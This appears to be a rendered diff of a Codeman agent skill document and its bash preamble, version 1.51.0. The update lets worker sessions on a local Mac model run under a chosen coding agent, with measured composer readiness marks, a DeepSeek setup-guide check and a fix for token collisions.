window's Start button sends, then `local_model` again until it reports `running`
(about 30 s at most). This undoes a Stop the person made. Concurrent spawns may both
send it; the server runs one runtime verb at a time and keeps a runtime that runs.
3. `POST /api/v1/quick-start {"caseName":…,"mode":"<cli>","parentSessionId":…,
"customModel":{"endpointId":…,"modelId":…}}`: the launch of the window's "Start a
session", with the installed agent as the mode. No advisor, which is a cloud model.
session", with the chosen agent as the mode. No advisor, which is a cloud model. A Pi
worker also carries `"piConfig":{"approveProjectTrust":false}` (`--no-approve`): on a
custom model Pi keeps no home, so it would ask to trust the folder in every session with
Trust preselected, and the task prompt's Enter would answer it.
The server checks again that its own runtime runs and that the model on disk is the one
it installed, and refuses otherwise (`OPERATION_FAILED`, with the reason).
4. An answer of `requiresContextWarning` or `requiresConfirmation` is a question for a
person (a context below the agent's safe floor, a model swap that would evict another
session's model). It fails the spawn with the answer on stderr and nothing on stdout,
and no `confirmed*` flag is ever sent.
5. Readiness: OpenCode's composer bar `┃` (its registry `promptGlyph`) through
`wait-output`, 45 s, and the session deleted on a miss. Measured on OpenCode 1.3.0 on
Linux (not yet on a Mac) with a fresh home and a custom provider: nothing draws `┃` before the composer, there was no
first-run screen, and a prompt pasted with its Enter at the first `┃` was submitted. A
claude agent takes the claude path instead (hooks vetted, `shift+tab`, the trust
dialog). Any other agent needs `LOCAL_READY_MARK` set to a space-free token its
composer draws, or the spawn is refused before a session exists.
5. Readiness: a token the agent's composer draws once it takes input, through
`wait-output`, 45 s, and the session deleted on a miss. The token is the agent's
`readyMark` from `local_model` when the server sends one, else the one measured for this
skill, and `LOCAL_READY_MARK` overrides both. All of it was measured on Linux through a
custom model launch, none of it on a Mac yet:
| Agent | Token | What was measured |
|-------|-------|-------------------|
| OpenCode | `┃` | 1.3.0 and 1.19.5: nothing draws it before the composer, no first-run screen, and a prompt pasted at the first `┃` was submitted (2 of 2 on 1.19.5) |
| DeepSeek Harness | `❯`, then a look at the pane | 0.1.1-rc.2 with dsh-TUI 0.10.0-beta.1: splash, composer and status line arrive in one frame; a prompt sent at the mark was submitted (2 of 2). The harness reports idle about 150 ms BEFORE that frame, so `stop` is no readiness signal. 0.2.2-rc.1 with dsh-TUI 0.19.0: a setup guide ("Step 1 of 4") opens in every session until a person has finished it once, and its cursor is `❯` too (the mark matched on it, 2 of 2), so after the mark the rendered pane is read and a worker that shows the guide is deleted, never handed back; with the guide finished, a prompt sent at the mark was submitted |
| Pi | `extended-keys` | 1.5.2: Pi paints its composer rules in its first frame and ignores Enter until startup has finished, so the rule `─` is NOT a mark (a prompt sent at it stayed in the composer, 2 of 2). The last line of its startup is a warning that tmux's `extended-keys` option is off, which it is on Codeman's socket; a prompt sent once that word showed was submitted (4 of 4). A side effect, not a contract: a Pi that stops printing it fails the spawn until `LOCAL_READY_MARK` names what it draws instead |
A claude agent takes the claude path instead (hooks vetted, `shift+tab`, the trust
dialog). An agent with no token at all is refused before a session exists.
**`sendmark <sid> <prompt> [timeoutSec]`** drives it, and any other agent worker without
an end-of-turn signal ([§5.5](#55-markers-for-hook-less-workers)):
+145 -41
View File
@@ -107,7 +107,7 @@ later call opens with, and your first REAL call performs them anyway:
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
```
⚠️ **Never spend a Bash call on this check alone.** §1's block opens with this same
@@ -135,8 +135,8 @@ PRE="${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh"
mkdir -p "$(dirname "$PRE")"
# Rewrite unless the file already ends with THIS version's stamp, so a stale or a
# half-written file self-heals here instead of costing you a round trip to rm it.
grep -qs '^CODEMAN_PREAMBLE=1.50.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
grep -qs '^CODEMAN_PREAMBLE=1.51.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
# ---- Codeman agent preamble 1.51.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
# replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
# from that body (test/agent-skill.test.ts pins it).
@@ -197,6 +197,17 @@ _dsh_up() { # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness T
# composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
_mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
}
_dsh_guide() { # <sid> -> 0 when the pane shows dsh-TUI's first-run SETUP GUIDE, not a composer.
# dsh-TUI 0.19.0 opens a guide ("Welcome to dsh-TUI Step 1 of 4") in every session until a
# person has finished it once, and the guide's own cursor is `❯`: the readiness mark matches
# on it (measured, 2 of 2 launches), and an Enter there acts on the highlighted step, which
# is a sign-in. So a worker whose mark matched is still checked for the guide, on the
# RENDERED pane with its whitespace removed, and never handed back while it shows.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/terminal" --data-urlencode 'full=1' \
| jq -r '.data.terminalBuffer // empty' \
| sed -e "s/$(printf '\033')\[[0-9;?]*[a-zA-Z]//g" -e "s/$(printf '\033')[()][AB0]//g" \
| tr -d ' \t' | grep -qi 'Step[0-9]of[0-9]'
}
# ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
# "No, exit" by default:
@@ -259,9 +270,18 @@ _accept_trust() { # <sid> -> 0 once it has answered the dialog, 1 if it could n
# local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
# spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
# {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>",
# "agents":[{"cli":"opencode","cliLabel":"OpenCode","status":"ready","default":true,"readyMark":"┃"},
# {"cli":"pi","cliLabel":"Pi","status":"installable","default":false}],
# "models":[{"id":"<id>","label":"<label>","active":true,"status":"ready","sizeGb":"23.1"}]}
# `cli` is the DEFAULT coding agent, the one `spawn_worker <name> local` starts. `agents` is
# every agent the model can be run with: `local:<cli>` starts one whose status is `ready`
# (`installable`, `installing` and `setup-needed` are a person's to resolve in the window).
# `models` is what is on this Mac; only the `active` one runs, and switching is a person's
# decision too. A Codeman older than 1.51 sends neither list: only `local` works there.
# Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
# one of: not-mac, not-installed, install-unfinished, no-agent (installed, but no coding agent
# that can run the model is on this Mac), blocked (installed, but the server
# refuses a session now: the model changed on disk, another program holds the port, the
# runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
# local models, 404), unauthorized (401, §6), unreachable, error.
@@ -277,12 +297,23 @@ local_model() {
| reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
.data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
| {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label,
agents:(if ($i.harnesses | type) == "array"
then [$i.harnesses[] | {cli, cliLabel, status, default, readyMark} | with_entries(select(.value != null))]
else null end),
models:(if ($i.library | type) == "array" and ($i.library | length) > 0
then [$i.library[] | {id, label, active, status, sizeGb} | with_entries(select(.value != null))]
else null end)} as $base
| if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
elif $i.state == "installed" then
# With the agents listed and none of them startable there is nothing to spawn,
# running or not: say that, not "blocked".
if $i.error == null and $base.agents != null and ([$base.agents[] | select(.status == "ready")] | length) == 0
then {spawnable:false, reason:"no-agent",
message:"The model is installed, but no coding agent that can run it is on this Mac. A person installs one in the Run a local model window."} + $base
# `start` alone over-promises: it is offered too while another program holds the
# port. Only an error-free start is a runtime spawn_worker can bring up.
if ($i.cli and $i.endpointId and $i.model.id)
elif ($i.cli and $i.endpointId and $i.model.id)
and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
then {spawnable:true} + $base
else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
@@ -345,31 +376,55 @@ _local_ready_model() {
# rather than handed back, because a worker that never drew its composer would eat the
# task prompt with its trust dialog. There is deliberately no pid poll: wait-output
# already blocks until the composer draws, and pid!=null proved startup, never readiness.
# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
# model ride the quick-start as `customModel`: the launch the window's "Start a session"
# makes. A stopped runtime is started first. Any answer that wants a person to confirm
# something (a context below the agent's safe floor, a model swap) fails the spawn: this
# never confirms on anyone's behalf.
# mode `local` is the model Codeman installed on this Mac (local_model), run by its default
# coding agent; `local:<cli>` (`local:pi`, `local:deepseek`, `local:opencode`, `local:claude`)
# picks another one of local_model's `agents`, which must be `ready`. The worker's mode
# becomes that agent, and the endpoint and model ride the quick-start as `customModel`: the
# launch the window's "Start a session" makes. A stopped runtime is started first. Any answer
# that wants a person to confirm something (a context below the agent's safe floor, a model
# swap) fails the spawn: this never confirms on anyone's behalf, and it never installs an
# agent. All local workers share ONE model that answers one request at a time.
# CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
# it is set Claude Code's advisor tool: a stronger model the worker consults before
# committing to an approach, on a recurring error and before declaring the task done.
# Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
# advisor that ranks below the worker's model is accepted but never attached by claude.
spawn_worker() {
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark='' want=''
case "$mode" in local:*) want=${mode#local:}; mode=local ;; esac
if [ "$mode" = local ]; then
lm=$(_local_ready_model) || return 1
mode=$(jq -r .cli <<<"$lm")
if [ -n "$want" ]; then
# Only an agent the server lists as startable. A Codeman that lists none (older than
# 1.51) knows one agent, its `cli`: naming that one is fine, any other is not.
r=$(jq -r --arg w "$want" 'if (.agents | type) == "array" then ([.agents[] | select(.cli == $w) | .status][0] // "absent")
elif .cli == $w then "ready" else "unlisted" end' <<<"$lm")
case "$r" in
ready) ;;
unlisted) echo "this Codeman lists one coding agent for the local model, $(jq -r .cli <<<"$lm"): use plain \`local\`, or update Codeman to choose another" >&2; return 1 ;;
absent) echo "the local model cannot be run with '$want' here. Startable: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
*) echo "the coding agent '$want' is not startable on this Mac ($r): a person installs or sets it up in the Run a local model window. Startable now: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
esac
mode=$want
else
mode=$(jq -r .cli <<<"$lm")
fi
cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
# Readiness is a token the agent's composer draws. The registry's composer data never
# reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
# That field is no readiness mark in general (the registry keeps `composerReadyMark` for
# that, and declares none for opencode), but at boot only the composer draws it: measured
# on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
# and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
# path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
[ "$mode" = opencode ] && mark='┃'
# Readiness is a token the agent's composer draws once it takes input. The server names
# the measured one per agent (`readyMark`: opencode `┃`, deepseek `❯`, claude `shift+tab`).
# For a server that sends none, the two this skill measured itself:
# - opencode `┃`: at boot only the composer draws it (1.3.0 and 1.19.5, a prompt pasted
# at the mark was submitted every time).
# - pi `extended-keys`: pi paints its composer rules in its FIRST frame and ignores Enter
# until startup has finished, so its rule is no mark (a prompt sent at it stayed
# unsent, 2 of 2). The last line of its startup is a warning that tmux's
# `extended-keys` option is off, which it is on Codeman's socket: a prompt sent once
# that word showed was submitted, 4 of 4 on pi 1.5.2. It is a side effect, not a
# contract, so a pi that stops printing it fails the spawn (the worker is deleted, never
# handed back on a guess) until LOCAL_READY_MARK names what it draws instead.
# claude takes the claude path below.
mark=$(jq -r --arg m "$mode" '[(.agents // [])[] | select(.cli == $m) | .readyMark // empty][0] // empty' <<<"$lm")
[ -n "$mark" ] || case "$mode" in opencode) mark='┃' ;; pi) mark='extended-keys' ;; esac
mark=${LOCAL_READY_MARK:-$mark}
[ "$mode" = claude ] || [ -n "$mark" ] || {
echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
@@ -384,11 +439,16 @@ spawn_worker() {
# server clamps this back to `workspace-write` for an owner without the grant.
# Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
# so a claude worker on the local model never gets one.
# pi on the local model: a custom model session gives pi a home of its own, so it would
# ask "Trust project folder?" in EVERY session whose parent folders hold agent skills, with
# Trust preselected, and the task prompt's Enter would answer it. `approveProjectTrust:
# false` starts it with --no-approve: no dialog, and no project code is trusted for anyone.
q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
'{caseName:$n,mode:$m,parentSessionId:$p}
+ (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
+ (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+ (if $m == "pi" and $cm != "" then {piConfig:{approveProjectTrust:false}} else {} end)
+ (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
# The answers that want a PERSON to decide come back as success with no session id.
if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
@@ -405,11 +465,18 @@ spawn_worker() {
echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
fi
if [ -n "$cm" ] && [ "$mode" != claude ]; then
# No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
# why sendwait refuses it (400) and sendmark drives it.
# No trust dialog and no hook file to vet. opencode and pi have no end-of-turn signal,
# which is exactly why sendwait refuses them (400) and sendmark drives them. A deepseek
# worker reports the end of a turn on the local model too, but sendmark is still the way
# to get its ANSWER: dsh 0.2.2 renamed its transcript file, and until Codeman reads the
# new one `last-response` comes back empty for it.
r=$(_mark_up "$sid" "$mark" 45000)
[ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
delete_session "$sid" >/dev/null; return 1; }
if [ "$mode" = deepseek ] && _dsh_guide "$sid"; then
echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
delete_session "$sid" >/dev/null; return 1
fi
printf '%s\n' "$sid"; return 0
fi
if [ "$mode" = deepseek ]; then
@@ -425,6 +492,10 @@ spawn_worker() {
r=$(_dsh_up "$sid" 45000)
[ "$r" = true ] || { echo "dsh worker $sid never drew a composer: no pane-capable profile, a profile whose composer is not '${DSH_READY_MARK:-❯}' (set DSH_READY_MARK), or a harness that failed to boot -- check GET /api/v1/deepseek/status. Deleted it" >&2
delete_session "$sid" >/dev/null; return 1; }
if _dsh_guide "$sid"; then
echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
delete_session "$sid" >/dev/null; return 1
fi
printf '%s\n' "$sid"; return 0
fi
[ "$mode" = claude ] || { printf '%s\n' "$sid"; return 0; } # no other mode draws a composer to wait on
@@ -572,7 +643,7 @@ sendwait() {
# complete answer to codeman-answer-<token>.md in the working directory, and only then end
# the reply with the word DONE immediately followed by _<token>. The marker is split in what
# is typed, so the prompt echoing into the pane never matches it, and the token is new for
# every call (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# every call and every worker (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# epoch-second seq) with a one-second `exit` wait, so `delivered` says the pane took it.
# ⚠️ A marker proves that the model printed the token. Not that it did the work, not that
# it did it right, not even that the turn is over: a reasoning model can restate the
@@ -596,7 +667,12 @@ sendmark() {
p=$(printf '%s\n' "$p" | tr '\r' '\n' | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e '/^$/d' | paste -sd ' ' -) ;;
esac
[ -n "$p" ] || { echo "sendmark: empty prompt" >&2; return 1; }
tok=$(printf 'm%x%04x' "$(date +%s)" "$RANDOM"); mark="DONE_$tok"
# The token carries six characters of the WORKER's id on top of the second and $RANDOM.
# Those two repeat: in zsh (the shell Claude Code runs on a Mac) every subshell draws the
# SAME $RANDOM until the parent shell reads it, and this line is a subshell. Two sendmark
# calls started in one second for two workers in ONE folder shared a token, and one
# worker's answer file replaced the other's (seen on a Mac, 2026-11-12).
tok=$(printf 'm%x%04x%s' "$(date +%s)" "$RANDOM" "$(printf '%s' "$sid" | tr -cd 'a-f0-9' | cut -c1-6)"); mark="DONE_$tok"
if [ "${SENDMARK_ANSWER_FILE:-1}" != 0 ]; then
wd=$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.workingDir // empty' 2>/dev/null)
[ -n "$wd" ] || { echo "sendmark: could not read the working directory of worker $sid" >&2; return 1; }
@@ -683,10 +759,10 @@ last_text() {
# The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
# bare on purpose: the write condition above anchors on it with $, so an inline comment
# here would fail that match and rewrite this file on every single bootstrap.
CODEMAN_PREAMBLE=1.50.0
CODEMAN_PREAMBLE=1.51.0
PREAMBLE
)
. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
```
Every later Bash call that touches the API starts with the same two loader lines from
@@ -737,7 +813,7 @@ and no per-call body to hand-build.
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
N=(alpha beta) # INVENT one fresh case name per worker; never list cases first
# (a name may carry a mode: `beta:deepseek`, see below)
T=('reply with one line: the absolute path of your working directory'
@@ -850,9 +926,25 @@ Three things to know before you spawn one:
When Codeman has installed a model on the Mac it runs on (the **Run a local model** button
on its welcome screen), you can hand work to that model from here. You stay the planner and
the reviewer in the cloud; the Mac does the bulk. `spawn_worker <name> local` starts a worker
on the installed model, run by the coding agent it was installed with (OpenCode on the Mac
it was tested on), and from then on it is the same verbs. It mixes into one fleet like any
other mode: `spawn_workers plan review:deepseek summ:local`.
on the installed model, run by its default coding agent (OpenCode on the Mac it was tested
on), and from then on it is the same verbs. It mixes into one fleet like any other mode:
`spawn_workers plan review:deepseek summ:local`.
**Which coding agent runs the worker is yours to choose.** `local_model` lists them as
`agents`, each with a `status`; `spawn_worker <name> local:<cli>` starts one that is `ready`:
| Worker kind | Agent | Why you would pick it | Drive it with |
| --- | --- | --- | --- |
| `local` | the default one (`cli` of `local_model`) | you have no reason to choose | `sendmark` (`sendwait` when it is claude) |
| `local:opencode` | OpenCode | the tested pair; a full tool set | `sendmark` |
| `local:pi` | Pi | the smallest fixed prompt (about 2,100 tokens against 8,000 and more), so the first answer comes soonest and the most context is left for the work | `sendmark` |
| `local:deepseek` | DeepSeek Harness | the user already works with it | `sendmark` (it reports the end of a turn, but on dsh 0.2.2 its answer cannot be read back through `sendwait` yet) |
| `local:claude` | Claude Code | hooks and `sendwait`, at the price of a first answer that takes minutes | `sendwait` |
An agent whose status is `installable`, `installing` or `setup-needed` is not startable, and
the spawn says so with the ones that are. Installing an agent is a person's click in the
**Run a local model** window, like installing a model: tell the user, do not work around it.
A Codeman older than 1.51 lists no agents, and only plain `local` works there.
Reach for it when:
@@ -866,9 +958,9 @@ Reach for it when:
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
local_model || exit 1 # one JSON line: model, agent, endpoint; or the reason there is none
SID=$(spawn_worker summ local) || exit 1 # starts a stopped runtime first; empty = failed
[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
local_model || exit 1 # one JSON line: model, agents, endpoint; or the reason there is none
SID=$(spawn_worker summ local) || exit 1 # or local:pi, local:deepseek; starts a stopped runtime first; empty = failed
WD=$("${CURL[@]}" "$API/api/v1/sessions/$SID" | jq -r .data.workingDir)
mkdir -p "$WD/input" && cp ./docs/*.md "$WD/input/" # inside its own folder (§5.9), apart from its CLAUDE.md
R=$(sendmark "$SID" 'Summarize each .md file in the folder input, two lines each' 900); RC=$?
@@ -891,8 +983,9 @@ The limits, before you promise the user anything:
- **A Mac with Apple silicon, and a model a person installed** in Codeman's local model
window. This skill never installs one: that is a download of many gigabytes the person
confirms there. `local_model` says what is missing (`not-mac`, `not-installed`,
`install-unfinished`, `blocked`, `admin-only`, `unsupported`), so tell the user that
instead of guessing.
`install-unfinished`, `no-agent`, `blocked`, `admin-only`, `unsupported`), so tell the
user that instead of guessing. It also lists the models on this Mac (`models`); only the
`active` one runs, and switching to another is a person's decision in the window.
- **One model, one request at a time.** The runtime loads one model and answers one request
at a time, so two local workers take turns rather than work side by side. Fan out to the
cloud; give the Mac a queue.
@@ -900,9 +993,20 @@ The limits, before you promise the user anything:
M5 Pro with 48 GB, ran at about 68 tokens a second, and the first request after a start
loads the model first. A local worker run by claude spends minutes on its first answer
(its fixed prompt is about 36,000 tokens).
- **Markers, not hooks.** OpenCode reports no end of turn, so `sendwait` answers 400 for
that worker; `sendmark` is the way through. If the installed agent is claude, the worker
has hooks and `sendwait` works as for any claude worker.
- **Markers, not hooks.** OpenCode and Pi report no end of turn, so `sendwait` answers 400
for those workers; `sendmark` is the way through. A claude worker has hooks, so
`sendwait` works for it. A DeepSeek Harness worker reports its turns too, but drive it
with `sendmark` on the local model: dsh 0.2.2 renamed its transcript file, and Codeman
reads an empty answer from it for now.
- **DeepSeek Harness has a setup guide a person finishes once.** Until then every dsh
session opens on it, and the spawn refuses the worker (and deletes it) instead of typing
a task into a sign-in screen. Tell the user to start one DeepSeek session from the Run
menu and finish the guide.
- **Pi starts without trusting the folder.** A `local:pi` worker is started with
`--no-approve`, so it loads no project extensions or skills from the case folder: on the
local model Pi would otherwise ask to trust the folder in every session, and a task
prompt must never answer that question. Pi also fetches its two search tools at each such
start, which needs the network for a moment.
- **Spawning can change what the person set.** A stopped runtime is started, which also
undoes the person's Stop: it then starts with Codeman again. And while a local worker is
open, the window refuses Stop and Remove and names your workers, so delete them as soon
+102 -26
View File
@@ -1,4 +1,4 @@
# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# ---- Codeman agent preamble 1.51.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
# replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
# from that body (test/agent-skill.test.ts pins it).
@@ -59,6 +59,17 @@ _dsh_up() { # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness T
# composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
_mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
}
_dsh_guide() { # <sid> -> 0 when the pane shows dsh-TUI's first-run SETUP GUIDE, not a composer.
# dsh-TUI 0.19.0 opens a guide ("Welcome to dsh-TUI Step 1 of 4") in every session until a
# person has finished it once, and the guide's own cursor is `❯`: the readiness mark matches
# on it (measured, 2 of 2 launches), and an Enter there acts on the highlighted step, which
# is a sign-in. So a worker whose mark matched is still checked for the guide, on the
# RENDERED pane with its whitespace removed, and never handed back while it shows.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/terminal" --data-urlencode 'full=1' \
| jq -r '.data.terminalBuffer // empty' \
| sed -e "s/$(printf '\033')\[[0-9;?]*[a-zA-Z]//g" -e "s/$(printf '\033')[()][AB0]//g" \
| tr -d ' \t' | grep -qi 'Step[0-9]of[0-9]'
}
# ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
# "No, exit" by default:
@@ -121,9 +132,18 @@ _accept_trust() { # <sid> -> 0 once it has answered the dialog, 1 if it could n
# local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
# spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
# {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>",
# "agents":[{"cli":"opencode","cliLabel":"OpenCode","status":"ready","default":true,"readyMark":"┃"},
# {"cli":"pi","cliLabel":"Pi","status":"installable","default":false}],
# "models":[{"id":"<id>","label":"<label>","active":true,"status":"ready","sizeGb":"23.1"}]}
# `cli` is the DEFAULT coding agent, the one `spawn_worker <name> local` starts. `agents` is
# every agent the model can be run with: `local:<cli>` starts one whose status is `ready`
# (`installable`, `installing` and `setup-needed` are a person's to resolve in the window).
# `models` is what is on this Mac; only the `active` one runs, and switching is a person's
# decision too. A Codeman older than 1.51 sends neither list: only `local` works there.
# Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
# one of: not-mac, not-installed, install-unfinished, no-agent (installed, but no coding agent
# that can run the model is on this Mac), blocked (installed, but the server
# refuses a session now: the model changed on disk, another program holds the port, the
# runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
# local models, 404), unauthorized (401, §6), unreachable, error.
@@ -139,12 +159,23 @@ local_model() {
| reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
.data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
| {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label,
agents:(if ($i.harnesses | type) == "array"
then [$i.harnesses[] | {cli, cliLabel, status, default, readyMark} | with_entries(select(.value != null))]
else null end),
models:(if ($i.library | type) == "array" and ($i.library | length) > 0
then [$i.library[] | {id, label, active, status, sizeGb} | with_entries(select(.value != null))]
else null end)} as $base
| if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
elif $i.state == "installed" then
# With the agents listed and none of them startable there is nothing to spawn,
# running or not: say that, not "blocked".
if $i.error == null and $base.agents != null and ([$base.agents[] | select(.status == "ready")] | length) == 0
then {spawnable:false, reason:"no-agent",
message:"The model is installed, but no coding agent that can run it is on this Mac. A person installs one in the Run a local model window."} + $base
# `start` alone over-promises: it is offered too while another program holds the
# port. Only an error-free start is a runtime spawn_worker can bring up.
if ($i.cli and $i.endpointId and $i.model.id)
elif ($i.cli and $i.endpointId and $i.model.id)
and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
then {spawnable:true} + $base
else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
@@ -207,31 +238,55 @@ _local_ready_model() {
# rather than handed back, because a worker that never drew its composer would eat the
# task prompt with its trust dialog. There is deliberately no pid poll: wait-output
# already blocks until the composer draws, and pid!=null proved startup, never readiness.
# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
# model ride the quick-start as `customModel`: the launch the window's "Start a session"
# makes. A stopped runtime is started first. Any answer that wants a person to confirm
# something (a context below the agent's safe floor, a model swap) fails the spawn: this
# never confirms on anyone's behalf.
# mode `local` is the model Codeman installed on this Mac (local_model), run by its default
# coding agent; `local:<cli>` (`local:pi`, `local:deepseek`, `local:opencode`, `local:claude`)
# picks another one of local_model's `agents`, which must be `ready`. The worker's mode
# becomes that agent, and the endpoint and model ride the quick-start as `customModel`: the
# launch the window's "Start a session" makes. A stopped runtime is started first. Any answer
# that wants a person to confirm something (a context below the agent's safe floor, a model
# swap) fails the spawn: this never confirms on anyone's behalf, and it never installs an
# agent. All local workers share ONE model that answers one request at a time.
# CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
